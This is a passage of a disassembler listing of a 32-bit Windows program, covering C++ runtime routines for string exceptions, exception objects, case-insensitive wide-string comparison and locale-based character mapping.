jz short loc_426449
movzx eax, ax
movzx edx, dl
shl eax, 8
or eax, edx
cmp [ebp+arg_4], eax
jz short loc_42644D
jmp short loc_426446
; ---------------------------------------------------------------------------
loc_42643E: ; CODE XREF: sub_4263F1+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_426452
loc_426446: ; CODE XREF: sub_4263F1+4Bj
inc ecx
jmp short loc_42640F
; ---------------------------------------------------------------------------
loc_426449: ; CODE XREF: sub_4263F1+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_42644D: ; CODE XREF: sub_4263F1+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_426452: ; CODE XREF: sub_4263F1+25j
; sub_4263F1+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_4263F1 endp
; =============== S U B R O U T I N E =======================================
sub_426464 proc near ; CODE XREF: sub_417EEF+21p
; sub_42638A+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_42648B
push esi
call sub_41AFE0
inc eax
push eax
call sub_41B4D5
pop ecx
test eax, eax
pop ecx
jz short loc_42648B
push esi
push eax
call sub_41BEB0
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_42648B: ; CODE XREF: sub_426464+7j
; sub_426464+1Aj
xor eax, eax
pop esi
retn
sub_426464 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_426490 proc near ; CODE XREF: sub_426573+19p
; sub_42669A+19p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_41AFE0
pop ecx
push eax
push [esp+8+arg_0]
mov ecx, esi
call sub_40D6F0
mov eax, esi
pop esi
retn 8
sub_426490 endp
; =============== S U B R O U T I N E =======================================
sub_4264BA proc near ; CODE XREF: ___:004264E5p
; sub_426568+6j ...
push esi
mov esi, ecx
push 1
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D04
call sub_40D6B4
mov ecx, esi
pop esi
jmp sub_4268B6
sub_4264BA endp
; =============== S U B R O U T I N E =======================================
sub_4264D5 proc near ; DATA XREF: ___:00427D08o
; ___:00427D18o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_4264E1
mov eax, offset dword_4276A0
locret_4264E1: ; CODE XREF: sub_4264D5+5j
retn
sub_4264D5 endp
; ---------------------------------------------------------------------------
loc_4264E2: ; DATA XREF: ___:off_427D04o
push esi
mov esi, ecx
call sub_4264BA
test byte ptr [esp+8], 1
jz short loc_4264F8
push esi
call sub_41CC83
pop ecx
loc_4264F8: ; CODE XREF: ___:004264EFj
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_4264FE proc near ; CODE XREF: sub_426573+29p
mov eax, offset loc_426E32
call sub_41CC64
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427D20
call sub_42682F
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D04
call sub_4265B0
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_427D14
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4264FE endp
; =============== S U B R O U T I N E =======================================
sub_42654C proc near ; DATA XREF: ___:off_427D14o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426568
test [esp+4+arg_0], 1
jz short loc_426562
push esi
call sub_41CC83
pop ecx
loc_426562: ; CODE XREF: sub_42654C+Dj
mov eax, esi
pop esi
retn 4
sub_42654C endp
; =============== S U B R O U T I N E =======================================
sub_426568 proc near ; CODE XREF: sub_42654C+3p
; DATA XREF: ___:0042808Co
mov dword ptr [ecx], offset off_427D14
jmp sub_4264BA
sub_426568 endp
; =============== S U B R O U T I N E =======================================
sub_426573 proc near ; CODE XREF: sub_40D561+13p
; sub_40D725+Ep
mov eax, offset loc_426E44
call sub_41CC64
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aInvalidStringP ; "invalid string position"
lea ecx, [ebp-20h]
call sub_426490
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4264FE
push offset dword_428088
lea eax, [ebp-3Ch]
push eax
call sub_4268D9
int 3 ; Trap to Debugger
sub_426573 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4265B0 proc near ; CODE XREF: sub_4264FE+32p
; sub_4265D0+32p ...
arg_0 = dword ptr 4
push esi
xor eax, eax
push 0FFFFFFFFh
mov esi, ecx
push eax
push [esp+0Ch+arg_0]
mov [esi+4], eax
mov [esi+8], eax
mov [esi+0Ch], eax
call sub_40D561
mov eax, esi
pop esi
retn 4
sub_4265B0 endp
; =============== S U B R O U T I N E =======================================
sub_4265D0 proc near ; CODE XREF: sub_42669A+29p
mov eax, offset loc_426E56
call sub_41CC64
push ecx
push ecx
push esi
lea eax, [ebp-10h]
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_427D20
call sub_42682F
push dword ptr [ebp+8]
and dword ptr [ebp-4], 0
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D04
call sub_4265B0
mov ecx, [ebp-0Ch]
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_4265D0 endp
; =============== S U B R O U T I N E =======================================
sub_426618 proc near ; CODE XREF: sub_426682+7p
; sub_4266DE+7p ...
mov eax, offset loc_426E68
call sub_41CC64
push ecx
push esi
push edi
mov edi, [ebp+8]
mov esi, ecx
push edi
mov [ebp-10h], esi
call sub_42686C
and dword ptr [ebp-4], 0
add edi, 0Ch
push edi
lea ecx, [esi+0Ch]
mov dword ptr [esi], offset off_427D04
call sub_4265B0
mov ecx, [ebp-0Ch]
pop edi
mov eax, esi
pop esi
mov large fs:0, ecx
leave
retn 4
sub_426618 endp
; =============== S U B R O U T I N E =======================================
sub_42665B proc near ; DATA XREF: ___:off_427D40o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426677
test [esp+4+arg_0], 1
jz short loc_426671
push esi
call sub_41CC83
pop ecx
loc_426671: ; CODE XREF: sub_42665B+Dj
mov eax, esi
pop esi
retn 4
sub_42665B endp
; =============== S U B R O U T I N E =======================================
sub_426677 proc near ; CODE XREF: sub_42665B+3p
; DATA XREF: ___:00428134o
mov dword ptr [ecx], offset off_427D40
jmp sub_4264BA
sub_426677 endp
; =============== S U B R O U T I N E =======================================
sub_426682 proc near ; CODE XREF: sub_4266F6+46p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426618
mov dword ptr [esi], offset off_427D14
mov eax, esi
pop esi
retn 4
sub_426682 endp
; =============== S U B R O U T I N E =======================================
sub_42669A proc near ; CODE XREF: sub_40D4B1+15p
; sub_40D50A+15p ...
mov eax, offset loc_426E7A
call sub_41CC64
sub esp, 30h
lea eax, [ebp-0Dh]
push eax
push offset aStringTooLong ; "string too long"
lea ecx, [ebp-20h]
call sub_426490
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_4265D0
push offset dword_428130
lea eax, [ebp-3Ch]
push eax
mov dword ptr [ebp-3Ch], offset off_427D40
call sub_4268D9
int 3 ; Trap to Debugger
sub_42669A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4266DE proc near ; CODE XREF: sub_4266F6+28p
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
call sub_426618
mov dword ptr [esi], offset off_427D40
mov eax, esi
pop esi
retn 4
sub_4266DE endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_4266F6 proc near ; DATA XREF: ___:00427D0Co
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426618
push offset dword_428170
lea eax, [ebp+var_1C]
push eax
call sub_4268D9
int 3 ; Trap to Debugger
loc_426714: ; DATA XREF: ___:00427D48o
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4266DE
push offset dword_428130
lea eax, [ebp+var_1C]
push eax
call sub_4268D9
int 3 ; Trap to Debugger
loc_426732: ; DATA XREF: ___:00427D1Co
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426682
push offset dword_428088
lea eax, [ebp+var_1C]
push eax
call sub_4268D9
int 3 ; Trap to Debugger
sub_4266F6 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_426750 proc near
nop
jmp near ptr 71B2ACCBh
sub_426750 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_426756 proc near ; CODE XREF: sub_40CE41+5Ep
; ___:00414BE6p ...
jmp near ptr 71AB1B7Bh
sub_426756 endp
; ---------------------------------------------------------------------------
db 39h
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_42675C proc near ; CODE XREF: sub_41C8D0+23p
; sub_41CB74+13p
nop
jmp near ptr 28A0000h
sub_42675C endp
; =============== S U B R O U T I N E =======================================
sub_426762 proc near ; CODE XREF: sub_417276+E2p
; sub_417276+F9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp dword_4DBA14, 0
push ebx
jnz short loc_4267A8
mov edx, [esp+4+arg_4]
mov ecx, [esp+4+arg_0]
loc_426774: ; CODE XREF: sub_426762+42j
mov bx, [ecx]
cmp bx, 5Ah
ja short loc_426786
cmp bx, 41h
jb short loc_426786
add ebx, 20h
loc_426786: ; CODE XREF: sub_426762+19j
; sub_426762+1Fj
mov ax, [edx]
cmp ax, 5Ah
ja short loc_426798
cmp ax, 41h
jb short loc_426798
add eax, 20h
loc_426798: ; CODE XREF: sub_426762+2Bj
; sub_426762+31j
inc ecx
inc ecx
inc edx
inc edx
test bx, bx
jz short loc_4267D8
cmp bx, ax
jz short loc_426774
jmp short loc_4267D8
; ---------------------------------------------------------------------------
loc_4267A8: ; CODE XREF: sub_426762+8j
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
loc_4267B2: ; CODE XREF: sub_426762+72j
mov ax, [esi]
inc esi
push eax
inc esi
call sub_426913
mov ebx, eax
mov ax, [edi]
inc edi
push eax
inc edi
call sub_426913
pop ecx
test bx, bx
pop ecx
jz short loc_4267D6
cmp bx, ax
jz short loc_4267B2
loc_4267D6: ; CODE XREF: sub_426762+6Dj
pop edi
pop esi
loc_4267D8: ; CODE XREF: sub_426762+3Dj
; sub_426762+44j
movzx ecx, ax
movzx eax, bx
sub eax, ecx
pop ebx
retn
sub_426762 endp
; =============== S U B R O U T I N E =======================================
sub_4267E2 proc near ; CODE XREF: ___:004267FAp
mov dword ptr [ecx], offset off_427D60
mov ecx, [ecx+4]
test ecx, ecx
jz short locret_4267F6
push ecx
call sub_41B0B1
pop ecx
locret_4267F6: ; CODE XREF: sub_4267E2+Bj
retn
sub_4267E2 endp
; ---------------------------------------------------------------------------
loc_4267F7: ; DATA XREF: ___:off_427D60o
push esi
mov esi, ecx
call sub_4267E2
test byte ptr [esp+8], 1
jz short loc_42680D
push esi
call sub_41CC83
pop ecx
loc_42680D: ; CODE XREF: ___:00426804j
mov eax, esi
pop esi
retn 4
; ---------------------------------------------------------------------------
loc_426813: ; DATA XREF: ___:off_427D68o
push esi
mov esi, ecx
call sub_4268B6
test byte ptr [esp+8], 1
jz short loc_426829
push esi
call sub_41CC83
pop ecx
loc_426829: ; CODE XREF: ___:00426820j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_42682F proc near ; CODE XREF: sub_4264FE+1Dp
; sub_4265D0+1Dp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427D68
push dword ptr [edi]
call sub_41AFE0
inc eax
push eax
call sub_41CFC5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_42685E
push dword ptr [edi]
push eax
call sub_41BEB0
pop ecx
pop ecx
loc_42685E: ; CODE XREF: sub_42682F+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_42682F endp
; =============== S U B R O U T I N E =======================================
sub_42686C proc near ; CODE XREF: sub_426618+16p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_427D68
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_4268A9
push dword ptr [edi+4]
call sub_41AFE0
inc eax
push eax
call sub_41CFC5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_4268AF
push dword ptr [edi+4]
push eax
call sub_41BEB0
pop ecx
pop ecx
jmp short loc_4268AF
; ---------------------------------------------------------------------------
loc_4268A9: ; CODE XREF: sub_42686C+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_4268AF: ; CODE XREF: sub_42686C+2Ej
; sub_42686C+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_42686C endp
; =============== S U B R O U T I N E =======================================
sub_4268B6 proc near ; CODE XREF: sub_4264BA+16j
; ___:00426816p ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_427D68
jz short locret_4268CB
push dword ptr [ecx+4]
call sub_41CC83
pop ecx
locret_4268CB: ; CODE XREF: sub_4268B6+Aj
retn
sub_4268B6 endp
; =============== S U B R O U T I N E =======================================
sub_4268CC proc near ; DATA XREF: ___:00427D6Co
mov eax, [ecx+4]
test eax, eax
jnz short locret_4268D8
mov eax, offset aUnknownExcepti ; "Unknown exception"
locret_4268D8: ; CODE XREF: sub_4268CC+5j
retn
sub_4268CC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4268D9 proc near ; CODE XREF: sub_426573+37p
; sub_42669A+3Ep ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_0]
push esi
push edi
push 8
pop ecx
mov esi, offset dword_427D88
lea edi, [ebp+var_20]
rep movsd
mov [ebp+var_8], eax
mov eax, [ebp+arg_4]
mov [ebp+var_4], eax
lea eax, [ebp+var_C]
push eax
push [ebp+var_10]
push [ebp+var_1C]
push [ebp+var_20]
nop
call near ptr 26903E1h
pop edi
pop esi
leave
retn 8
sub_4268D9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426913 proc near ; CODE XREF: sub_426762+56p
; sub_426762+63p
var_2 = word ptr -2
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
cmp ax, 0FFFFh
jnz short loc_426925
or ax, ax
leave
retn
; ---------------------------------------------------------------------------
loc_426925: ; CODE XREF: sub_426913+Bj
cmp dword_4DBA14, 0
jnz short loc_42693F
cmp ax, 41h
jb short locret_426986
cmp ax, 5Ah
ja short locret_426986
add eax, 20h
leave
retn
; ---------------------------------------------------------------------------
loc_42693F: ; CODE XREF: sub_426913+19j
cmp ax, 100h
jnb short loc_426959
push 1
push eax
call sub_426BC1
pop ecx
test eax, eax
pop ecx
jnz short loc_426959
mov ax, word ptr [ebp+arg_0]
leave
retn
; ---------------------------------------------------------------------------
loc_426959: ; CODE XREF: sub_426913+30j
; sub_426913+3Ej
push 0
lea eax, [ebp+var_2]
push 1
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 100h
push dword_4DBA14
call sub_426988
add esp, 1Ch
test eax, eax
mov ax, word ptr [ebp+arg_0]
jz short locret_426986
mov ax, [ebp+var_2]
locret_426986: ; CODE XREF: sub_426913+1Fj
; sub_426913+25j ...
leave
retn
sub_426913 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426988 proc near ; CODE XREF: sub_426913+5Fp
var_2C = dword ptr -2Ch
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427DA8
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor esi, esi
cmp dword_4DBC6C, esi
jnz short loc_4269FE
push esi
push esi
push 1
pop ebx
push ebx
push offset dword_427938
mov edi, 100h
push edi
push esi
call near ptr 2670000h
nop
test eax, eax
jz short loc_4269DC
mov dword_4DBC6C, ebx
jmp short loc_4269FE
; ---------------------------------------------------------------------------
loc_4269DC: ; CODE XREF: sub_426988+4Aj
push esi
push esi
push ebx
push offset dword_4CB50C
push edi
push esi
nop
call near ptr 2680000h
test eax, eax
jz loc_426B7D
mov dword_4DBC6C, 2
loc_4269FE: ; CODE XREF: sub_426988+2Ej
; sub_426988+52j
cmp [ebp+arg_C], esi
jle short loc_426A13
push [ebp+arg_C]
push [ebp+arg_8]
call sub_426B91
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_426A13: ; CODE XREF: sub_426988+79j
mov eax, dword_4DBC6C
cmp eax, 1
jnz short loc_426A3A
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2670000h
jmp loc_426B7F
; ---------------------------------------------------------------------------
loc_426A3A: ; CODE XREF: sub_426988+93j
cmp eax, 2
jnz loc_426B7D
cmp [ebp+arg_18], esi
jnz short loc_426A50
mov eax, dword_4DBA24
mov [ebp+arg_18], eax
loc_426A50: ; CODE XREF: sub_426988+BEj
push esi
push esi
push esi
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
nop
call near ptr 2850000h
mov [ebp+var_20], eax
cmp eax, esi
jz loc_426B7D
mov [ebp+var_4], esi
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_1C], eax
jmp short loc_426A96
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
mov [ebp+var_1C], esi
loc_426A96: ; CODE XREF: sub_426988+100j
or [ebp+var_4], 0FFFFFFFFh
cmp [ebp+var_1C], esi
jz loc_426B7D
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_C]
push [ebp+arg_8]
push 220h
push [ebp+arg_18]
call near ptr 2850000h
nop
test eax, eax
jz loc_426B7D
push esi
push esi
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2680000h
mov edi, eax
mov [ebp+var_2C], edi
cmp edi, esi
jz loc_426B7D
mov [ebp+var_4], 1
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_426B19
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor esi, esi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov edi, [ebp+var_2C]
loc_426B19: ; CODE XREF: sub_426988+17Dj
cmp ebx, esi
jz short loc_426B7D
push edi
push ebx
push [ebp+var_20]
push [ebp+var_1C]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2680000h
test eax, eax
jz short loc_426B7D
test byte ptr [ebp+arg_4+1], 4
jz short loc_426B57
mov eax, [ebp+arg_14]
cmp eax, esi
jz short loc_426B79
cmp eax, edi
jl short loc_426B48
mov eax, edi
loc_426B48: ; CODE XREF: sub_426988+1BCj
push eax
push ebx
push [ebp+arg_10]
call sub_41B5F0
add esp, 0Ch
jmp short loc_426B79
; ---------------------------------------------------------------------------
loc_426B57: ; CODE XREF: sub_426988+1B1j
cmp [ebp+arg_14], esi
jnz short loc_426B60
push esi
push esi
jmp short loc_426B66
; ---------------------------------------------------------------------------
loc_426B60: ; CODE XREF: sub_426988+1D2j
push [ebp+arg_14]
push [ebp+arg_10]
loc_426B66: ; CODE XREF: sub_426988+1D6j
push edi
push ebx
push 1
push [ebp+arg_18]
nop
call near ptr 2860000h
mov edi, eax
cmp edi, esi
jz short loc_426B7D
loc_426B79: ; CODE XREF: sub_426988+1B8j
; sub_426988+1CDj
mov eax, edi
jmp short loc_426B7F
; ---------------------------------------------------------------------------
loc_426B7D: ; CODE XREF: sub_426988+66j
; sub_426988+B5j ...
xor eax, eax
loc_426B7F: ; CODE XREF: sub_426988+ADj
; sub_426988+1F3j
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_426988 endp
; =============== S U B R O U T I N E =======================================
sub_426B91 proc near ; CODE XREF: sub_426988+81p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
mov eax, [esp+arg_0]
test edx, edx
push esi
lea ecx, [edx-1]
jz short loc_426BB0
loc_426BA1: ; CODE XREF: sub_426B91+1Dj
cmp word ptr [eax], 0
jz short loc_426BB0
inc eax
mov esi, ecx
inc eax
dec ecx
test esi, esi
jnz short loc_426BA1
loc_426BB0: ; CODE XREF: sub_426B91+Ej
; sub_426B91+14j
cmp word ptr [eax], 0
pop esi
jnz short loc_426BBE
sub eax, [esp+arg_0]
sar eax, 1
retn
; ---------------------------------------------------------------------------
loc_426BBE: ; CODE XREF: sub_426B91+24j
mov eax, edx
retn
sub_426B91 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426BC1 proc near ; CODE XREF: sub_426913+35p
var_4 = dword ptr -4
arg_0 = word ptr 8
arg_4 = word ptr 0Ch
push ebp
mov ebp, esp
push ecx
cmp [ebp+arg_0], 0FFFFh
jz short loc_426C01
cmp [ebp+arg_0], 100h
jnb short loc_426BE5
movzx eax, [ebp+arg_0]
mov ecx, off_43C9DC
mov ax, [ecx+eax*2]
jmp short loc_426C08
; ---------------------------------------------------------------------------
loc_426BE5: ; CODE XREF: sub_426BC1+12j
push 0
lea eax, [ebp+var_4]
push 0
push eax
lea eax, [ebp+arg_0]
push 1
push eax
push 1
call sub_426C13
add esp, 18h
test eax, eax
jnz short loc_426C05
loc_426C01: ; CODE XREF: sub_426BC1+Aj
xor eax, eax
leave
retn
; ---------------------------------------------------------------------------
loc_426C05: ; CODE XREF: sub_426BC1+3Ej
mov eax, [ebp+var_4]
loc_426C08: ; CODE XREF: sub_426BC1+22j
movzx ecx, [ebp+arg_4]
movzx eax, ax
and eax, ecx
leave
retn
sub_426BC1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426C13 proc near ; CODE XREF: sub_426BC1+34p
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427DC0
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov eax, dword_4DBC70
xor edi, edi
cmp eax, edi
jnz short loc_426C82
lea eax, [ebp+var_1C]
push eax
push 1
pop esi
push esi
push offset dword_427938
push esi
nop
call near ptr 2630000h
test eax, eax
jz short loc_426C60
mov eax, esi
jmp short loc_426C7D
; ---------------------------------------------------------------------------
loc_426C60: ; CODE XREF: sub_426C13+47j
lea eax, [ebp+var_1C]
push eax
push esi
push offset dword_4CB50C
push esi
push edi
nop
call near ptr 2640000h
test eax, eax
jz loc_426DC4
push 2
pop eax
loc_426C7D: ; CODE XREF: sub_426C13+4Bj
mov dword_4DBC70, eax
loc_426C82: ; CODE XREF: sub_426C13+2Fj
cmp eax, 1
jnz short loc_426C9E
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call near ptr 2630000h
nop
jmp loc_426DC6
; ---------------------------------------------------------------------------
loc_426C9E: ; CODE XREF: sub_426C13+72j
cmp eax, 2
jnz loc_426DC4
cmp [ebp+arg_10], edi
jnz short loc_426CB4
mov eax, dword_4DBA24
mov [ebp+arg_10], eax
loc_426CB4: ; CODE XREF: sub_426C13+97j
push edi
push edi
push edi
push edi
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
call near ptr 2850000h
nop
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz loc_426DC4
mov [ebp+var_4], edi
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_2C], eax
push esi
push edi
push eax
call sub_41B590
add esp, 0Ch
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_426D12
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_2C], edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_426D12: ; CODE XREF: sub_426C13+EAj
cmp [ebp+var_2C], edi
jz loc_426DC4
push edi
push edi
push esi
push [ebp+var_2C]
push [ebp+arg_8]
push [ebp+arg_4]
push 220h
push [ebp+arg_10]
nop
call near ptr 2850000h
test eax, eax
jz loc_426DC4
mov [ebp+var_4], 1
lea eax, [esi+esi+2]
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_24], ebx
jmp short loc_426D67
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
loc_426D67: ; CODE XREF: sub_426C13+147j
or [ebp+var_4], 0FFFFFFFFh
cmp ebx, edi
jz short loc_426DC4
mov eax, [ebp+arg_14]
cmp eax, edi
jnz short loc_426D7B
mov eax, dword_4DBA14
loc_426D7B: ; CODE XREF: sub_426C13+161j
mov ecx, [ebp+arg_8]
lea edi, [ecx+ecx]
lea esi, [edi+ebx]
or word ptr [esi], 0FFFFh
or word ptr [esi-2], 0FFFFh
push ebx
push [ebp+var_28]
push [ebp+var_2C]
push [ebp+arg_0]
push eax
call near ptr 2640000h
nop
mov [ebp+var_20], eax
cmp word ptr [esi-2], 0FFFFh
jz short loc_426DC4
cmp word ptr [esi], 0FFFFh
jnz short loc_426DC4
push edi
push ebx
push [ebp+arg_C]
call sub_41CC90
add esp, 0Ch
mov eax, [ebp+var_20]
jmp short loc_426DC6
; ---------------------------------------------------------------------------
loc_426DC4: ; CODE XREF: sub_426C13+61j
; sub_426C13+8Ej ...
xor eax, eax
loc_426DC6: ; CODE XREF: sub_426C13+86j
; sub_426C13+1AFj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_426C13 endp
; =============== S U B R O U T I N E =======================================
sub_426DD8 proc near ; DATA XREF: ___:00427F74o
; FUNCTION CHUNK AT 0040D4A9 SIZE 00000008 BYTES
lea ecx, [ebp-38h]
jmp loc_40D4A9
sub_426DD8 endp
; ---------------------------------------------------------------------------
mov eax, [ebp-20h]
and eax, 1
test eax, eax
jz locret_426DF6
mov ecx, [ebp+8]
jmp loc_40D4A9
; ---------------------------------------------------------------------------
locret_426DF6: ; CODE XREF: ___:00426DE8j
retn
; ---------------------------------------------------------------------------
loc_426DF7: ; DATA XREF: sub_40D07Do
mov eax, offset dword_427F48
jmp loc_41C91F
; ---------------------------------------------------------------------------
align 4
lea ecx, [ebp+14h]
jmp loc_40D4A9
; ---------------------------------------------------------------------------
loc_426E0C: ; DATA XREF: ___:00427FA4o
lea ecx, [ebp-1Ch]
jmp loc_40D4A9
; ---------------------------------------------------------------------------
loc_426E14: ; DATA XREF: sub_40D21Fo
mov eax, offset dword_427F78
jmp loc_41C91F
; ---------------------------------------------------------------------------
align 10h
loc_426E20: ; DATA XREF: sub_40D78Co
mov eax, offset dword_427FA8
jmp loc_41C91F
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_4268B6
; ---------------------------------------------------------------------------
loc_426E32: ; DATA XREF: sub_4264FEo
mov eax, offset dword_428008
jmp loc_41C91F
; ---------------------------------------------------------------------------
lea ecx, [ebp-20h]
jmp loc_40D4A9
; ---------------------------------------------------------------------------
loc_426E44: ; DATA XREF: sub_426573o
mov eax, offset dword_4280A0
jmp loc_41C91F
; ---------------------------------------------------------------------------
mov ecx, [ebp-14h]
jmp sub_4268B6
; ---------------------------------------------------------------------------
loc_426E56: ; DATA XREF: sub_4265D0o
mov eax, offset dword_4280C4
jmp loc_41C91F
; ---------------------------------------------------------------------------
mov ecx, [ebp-10h]
jmp sub_4268B6
; ---------------------------------------------------------------------------
